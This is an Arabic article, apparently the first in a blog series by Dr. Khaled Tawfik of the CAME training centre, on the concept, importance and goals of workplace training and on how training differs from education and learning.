وجدير بالذكر أن منظمة العمل الدولية تعتبر أن الهدف العام للاقتصاد العالمى ينبغى أن يكون توفير فرص لجميع الناس للحصول على عمل لائق ومنتج فى ظروف تسودها الحرية والعدالة والأمن والكرامة الإنسانية ويقتضى هذا الأمر تحقيق الأهداف الإستراتيجية الأربعة الحاسمة لتحقيق التقدم الاجتماعى وهى.

  • خلق العمالة وتعزيزها باستثمار متزايد وفعال فى مجال تنمية الموارد البشرية والتعلم والتدريب من أجل اكتساب القابلية للاستخدام والقدرة التنافسية وتحقيق النمو والإدماج الاجتماعى للجميع.
  • تعزيز الحقوق الأساسية فى العمل.
  • تحسين الحماية الاجتماعية.
  • تعزيز الحوار الاجتماعى.

فنجد أن الهدف الاستراتيجى الأول لمنظمة العمل الدولية هو الاستثمار فى الموارد البشرية عن طريق التدريب والتعلم، ولذلك نستطيع القول أنه يندر أن يكون أمام المنظمات الاختيار فى أن يكون هناك تدريب أم لا.

فالتدريب يهتم أساسا بتزويد الأفراد بالمهارات المحددة وبالمعارف الخاصة والتى تساهم فى تحسين الأداء، أو أن التدريب يساعد الأفراد على تصحيح الأخطاء فى مجال أعمالهم ووظائفهم.

وتتوقف فاعلية التدريب على وضوح الأهداف المحددة للتدريب والتى تشتق أصلا من عملية تحديد الاحتياجات التدريبية والتى تعتبر الأخيرة هى حجر الزاوية فى النشاط التدريبى.

إن وظيفة التدريب في المنظمة حاليا تقوم فقط بتصميم وتنظيم مجموعة من الدورات التدريبية للموظفين، وهذا ليس دورها الحقيقى المطلوب منها . فأكثر من يعملون في هذا المجال فى المنظمات يجب أن يقوموا بدورهم كمستشارين للأداء حيث أنهم يقوموا بمساعدة العملاء الداخليين والخارجيين على تحديد احتياجاتهم التدريبية ووضع ما يلزم من تدخل أو خطة لمعالجة هذه الاحتياجات، ومن أجل قيام مستشار الأداء بدوره جيداَ لا بد أن يكون المدربون على دراية في مجال التطوير التنظيمي، ومجموعة العمليات ومهارات المشاركين في إجراء اجتماعات فعالة لتحديد الاحتياجات التدريبية للحصول على الجذور الحقيقية للاحتياجات التدريبية للشخص أو للفريق أو للإدارة.

 

 

 

ثانياً : مفهوم التدريب وأهميته وأهدافه

1- مفهوم التدريب Training:

عرف الدكتور علي عبد الوهاب التدريب بأنه:

“تلك العملية المنظمة والمستمرة التى تكسب الفرد معرفة أو مهارات أو قدرات أو أفكاراً لازمة لأداء عمل معين أو بلوغ هدف محدد”.

وأشار الدكتور أحمد سيد مصطفى إلى التدريب والتطوير بأنه :

” كافة الجهود المخططة والمنظمة لتنمية قدرات ( معارف ومهارات ) العاملين بالمنظمة على اختلاف مستوياتهم وتخصصاتهم وترشيد سلوكهم بما يعظم من فاعلية أدائهم وتحقيق ذاتهم من خلال تحقيق أهدافهم الشخصية وإسهامهم فى تحقيق أهداف المنظمة”.

ويقول Tony Bray يمكننا تعريف التدريب على النحو التالى:

التدريب هو أي شكل من العمليات المصممة لتسهيل عملية التعلم في الجمهور المستهدف.

 

ويعرف الدكتور حمدى المعاز ومحمد حميد التدريب بالآتي :

” التدريب يمثل النشاط الخاص بتنمية مهارة ومعرفة الفرد المرتبطة بأداء وظيفة معينة”.

وقامت منظمة ايلاف ترين البريطانية بتعريف التدريب على أنه :

” التعلّم الذي يتم تقديمه من أجل تحسين الأداء في الوظيفة الحالية”.

 

ويشير Gary Dessler الى التدريب بأنه :

“مجموعة الطرق المستخدمة فى تزويد الموظفين الجدد أو الحاليين بالمهارات اللازمة لأداء وظائفهم بنجاح”.

 

ويرى كل من Robert L. Mathis and John H. Jackson أن التدريب هو :

” العملية التى من خلالها يتم اكتساب الناس القدرات للمساعدة فى انجاز أهداف المنظمة “.

 

من خلال تلك التعريفات السابقة هل يمكنك التعرف على خصائص عملية التدريب:

 

 

ومن المفاهيم السابقة نستطيع أن نقول ان مفهوم التدريب:

 

2- أهمية التدريب

يكتسب التدريب أهمية متزايدة يوماً بعد يوم وتتزايد كذلك القناعة لدى الأفراد بأن التدريب هو أكثر الطرق فعالية للتأثير في أدائهم وإحداث تغيير في هذا الأداء نحو الأفضل ورفع مستوى إنتاجيتهم مما يمثل في مجموعه رفع المستوى العام للمنظمات وبالتالى العودة بالنفع على المجتمع ككل .

فالتدريب أصبح هو حجر الزاوية والحل الرئيسي لتوفير العمالة القادرة على أداء مهام العمل ، حيث يستهدف التدريب إكساب الأفراد المعلومات والمعارف والمهارات التي تتطلبها الوظيفة وممارستها تطبيقيا، إضافة إلى تطوير هذه المعلومات والمعارف والمهارات بما يتناسب مع التغيير المنشود سواء في مهام الوظيفة الحالية أو الوظائف المستجدة أو تطوير أداء الموظف وقدراته في أداء هذه المهام، بما يحقق للمنظمة المزيد من الكفاءة الاقتصادية في تقديم منتجاتها أو خدماتها ويرسخ عوامل الاستقرار الوظيفي ويحد من معدلات الغياب ودوران العمل والحوادث المهنية بها ، ويعزز قدراتها على المنافسة، فضلا عن المردودات الاجتماعية خاصة من حيث رفع مستوى المعيشة والحد من معدلات البطالة.

 

ويرى جيرالد جرينبرج، و روبرت بارون أن ” مجال التدريب من أهم المجالات التى يمكن الاستفادة فيها من مبادئ التعلم حيث يعمل التدريب على إعداد الموظفين الجدد لمواجهة التحديات التى تواجههم فى العمل. كما يساعد التدريب أيضاً على تطوير وصقل مهارات العاملين القدامى. ووفقا لبيانات الجمعية الأمريكية للتدريب والتنمية تنفق الشركات الأمريكية حوالى 44 بليون دولار سنوياً على التدريب”.

ويزيد من هذه الأهمية من الناحية العملية العوامل التالية :

  • استمرار الفجوة القائمة بين مخرجات التعليم واحتياجات سوق العمل.
  • تزايد نسبة البطالة داخل المجتمع ، وبالتالى يزيد التدريب من فرص حصول الأفراد على الوظائف.
  • إعداد وتأهيل العاملين لأداء أعمالهم بأساليب وطرق متطورة مما يساعد المنظمة على التكيف مع المتغيرات السريعة فى الأسواق ومقابلة الاحتياجات المتغيرة للمستهلكين.
  • الاستجابة للمتغيرات فى البيئة الداخلية للمنظمة مثل استيعاب الموظفين الجدد، أو استحداث أنشطة جديدة، أو استجابة لتعديل فى سياسات وإجراءات العمل أو تجهيزاته (تطوير تكنولوجى).
  • تقليل الحاجة إلى الإشراف المباشر الدقيق مما يزيد من نطاق الإشراف للمدير، الأمر الذى يخفض عدد المديرين المطلوبين لشغل المناصب الإدارية، لأن تدريب العاملين يساعد على الإعداد الأفضل للفرد علما ومهارة وينمى لديه مفهوم الرقابة الذاتية.

 

وعلى ضوء هذه الأهمية تغير مفهوم الإنفاق على التدريب من كونه مجرد مصروفات أو تكاليف لأداء الأعمال ليصبح استثمارا لا تقل أهميته إن لم تتجاوز أهمية الاستثمار في الأصول الرأسمالية، استنادا إلى ما يدره من عائد واضح يتمثل في إنتاجية أعلى وسلوك وظيفي أفضل طالما كان ملبيا للأهداف وطالما وفرت له المقومات الضرورية لإحداث فاعليته.

وتجدر الإشارة إلى أن أهمية الاستثمار في التدريب لا تختلف باختلاف حجم ونوعية المنظمات فهو ضرورة للمنظمات الكبيرة وأيضا للمنظمات الصغيرة خاصة وأن هذه النوعية من المنظمات تعاني من مشكلات إدارية وتسويقية يمكن للتدريب حلها، كما أن التدريب له أهميته للمنظمات الإنتاجية وأيضا للمنظمات الخدمية لتحقيق ذات الأهداف، وفي داخل المنشأة الواحدة فإن التدريب ضرورة لمختلف نوعيات الأعمال لتنمية الأداء في مختلف مجالات العمل الإدارية والفنية والتخصصية.

ويجب التنويه بوضوح إلى أن الناتج المحلي للمنشأة هو محصلة أداء الموارد البشرية بها، ويشكل مجموع هذا الناتج في كافة المنظمات الناتج المحلي الإجمالي للاقتصاد الوطني، ومع تحسين أداء الموارد البشرية من خلال التدريب فإن الأمر ينعكس في النهاية في زيادة هذا الناتج.

وتظهر أهمية التدريب على ثلاثة مستويات مختلفة:

1- مستوى الفرد.

2- مستوى المنظمة.

3- مستوى المجتمع.

 

1- على مستوى الفرد:

نظراً لأن التدريب يحسن من قدرات الفرد وينمى مهاراته، فانه ومن هذا المنطلق يساهم مساهمة مباشرة فى تحسين المستوى الاقتصادى والاجتماعى للفرد، ويزيد من درجة الأمان الوظيفى للفرد.

2- على مستوى المنظمة.

أ- يعتبر التدريب أحد أدوات تطوير المنظمات ذاتها.

ب- يعتبر التدريب صفة من صفات المنظمات الحديثة التى تحرص على مواكبة كل تغيير فى مجال استخدامات التكنولوجيا أو الإدارة.

3- على مستوى المجتمع.

يحقق التدريب للمجتمع طاقات إنتاجية أكبر وأعلى كفاءة وفعالية من حيث الارتقاء بمستوى أداء التنظيمات المكونة للمجتمع وبالتالى الارتقاء بمستوى الإنتاج والخدمات كماً ونوعاً، وتقليل الوقت والنفقات اللازمة للأداء.

3- أهداف التدريب

أصبح للتدريب دور مهم وبارز فى حياة الأفراد والمنظمات فى العصر الحديث لأنه يمثل مكانة خاصة بين الأنشطة الإدارية الهادفة إلى رفع الكفاءة الإنتاجية وتحسين العمل ، وذلك عن طريق محاولة إحداث تغيير فى مهارة الأفراد وقدراتهم من ناحية وتطوير أنماط السلوك التى يتبعونها فى أداء أعمالهم من ناحية أخرى.

تشتق أهداف التدريب من تحديد الاحتياجات التدريبية، أو إن الاحتياجات التدريبية تترجم إلى أهداف تدريبية.

وقد تم تصنيف أهداف التدريب فى ضوء أربعة معايير تختص بالأهداف العادية ، والأهداف الابتكارية، والأهداف الشخصية ، وأهداف حل المشكلات كما يوضح الشكل التالى:

 

ثالثاً: الفرق بين التدريب والتعليم والتعلم.

 

الفرق بين التدريب والتعليم :

تتضمن مجهودات تطوير الموارد البشرية كلاً من التدريب والتعليم ، ولكن دأب كثيراً من الكتاب على الفصل بينهم وإظهار بعض الفروق كالتالي :

بيان التعليم التدريب
1-المحتوى والتخصص معلومات ومفاهيم عامة متعلقة بالأسس العريضة للموضوع . معلومات ومفاهيم وخبرات فنية متخصصة ومرتبطة على بمجال محدد.
2- الهدف إكساب الفرد المعارف والمعلومات الأساسية النجاح فى أداء المهام الوظيفية أو تطوير مستوى الأداء الحالي
3- الارتباط بأهداف المنشأة

عام يمكن أن يكون مرتبط أو لا

 ارتباط قوى بأهداف المنشاة
4- العائد

يظهر فى الأجل الطويل

 يظهر فى الأجل القصير

 

و يبين الجدول السابق أن التدريب يرتبط بصفة رئيسية بوظيفة معينة ، أما التعليم فهو نشاط متعلق بتنمية الفهم والمعرفة العامة للفرد ولا يشترط ارتباطها بالوظيفة ، ويمكن القول أيضاً من الناحية النظرية أن التعليم يتضمن جوانب المعرفة العامة دون تناول الوسائل والإجراءات ، أما التدريب فيرتبط بالوسائل والإجراءات الفنية الخاصة بأداء وظيفة معينة .

التكامل والتلازم بين التدريب والتعليم و صعوبة الفصل بينهما

مما سبق يتضح لنا أن هناك فروق من الناحية النظرية بين التعليم والتدريب ولكن فى الواقع العملي نجد أن هذا الفرق لا يتضح بسهولة فى الحياة العملية ، نظراً لوجود تداخل كبير بينهما ، وتأثير كل منهما على الآخر ،وعلى سبيل المثال فزيادة المعرفة العامة تسهم فى زيادة معرفة الفرد ومهارته المتعلقة بوظيفة معينة ، كما أن تحسين مستوى الفهم المرتبط بوظيفة معنية يؤدي إلى الإسهام فى زيادة الفهم والمعرفة بصفة عامة .

فالتعليم والتدريب متلازمان ومكملان لبعضهما فلا يمكن أن يتم التدريب على وظيفة ما إلا بعد اكتساب المعارف والمفاهيم الأساسية المرتبطة بها من خلال التعلم ثم يقوم التدريب بمهمة علاج الثغرات التى قد تنتج عن قصور محتوى التعليم أوضعف مستواه، وتكوين وثقل المهارات العملية والسلوكية التى لا يتناولها التعليم.

مفهوم التعلم:

يقصد بالتعلم كل ما يحصله ويكتسبه الفرد من معلومات وقدرات واتجاهات ومهارات سواء كان هذا الاكتساب بطريقة شعورية نظاميه مقصودة أو بطريقة لاشعورية غير مقصودة أو متعمدة، وبالتالي يمكن أن التعلم مرادفاً للاكتساب acquisition أي أن التعلم هو عملية الاكتساب المستمر للمعرفة سواء كان مقصودا أم لا .

والتعلم ذو معنى شامل وواسع يشمل جميع مظاهر الحياة وهو عملية طبيعية للإنسان حيث يتعلم الإنسان من خلال كل الأنشطة الإنسانية سواء تعليم رسمي بالمدرسة أو المعهد أو الكلية أو تعليم غير رسمي مثل اكتساب الطفل أنماطاً متعددة من السلوك الحركي مثل طريقة مشيته وطريقة كلامه .

والتعلم عملية مستمرة توجد بوجود الحياة واستمرارها فهو لا يتوقف بل هو مستمر ، وينظر أيضاً للتعلم على أنه نشاط يصدر من الفرد ويؤثر فى نشاطه اللاحق أي أن التعلم اكتساب للمعلومات والمعرفة يعقب ذلك تغيير فى السلوك والاتجاهات

“يمكننا أن نعرف التعلم بأنه تغير شبه دائم فى الأداء يحدث تحت تأثير الخبرة والممارسة أو التدريب “

 

خلاصة القول أن التعلم فى معناه العام يعد محصلة تفاعلات الفرد مع البيئة المحيطة وأن نتيجة التعلم يمكن أن تظهر فى الاستجابات التى يأتي بها الفرد فى موقف معين بشرط ألا يكون التغير الحادث فى أداء الفرد راجعاً لعملية النضج أو التعصب ( عوامل داخلية فى الفرد ).

***

انتهت بحمد الله المقالة الأولى من مسار كيم التعليمي لتخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-1/feed/ 0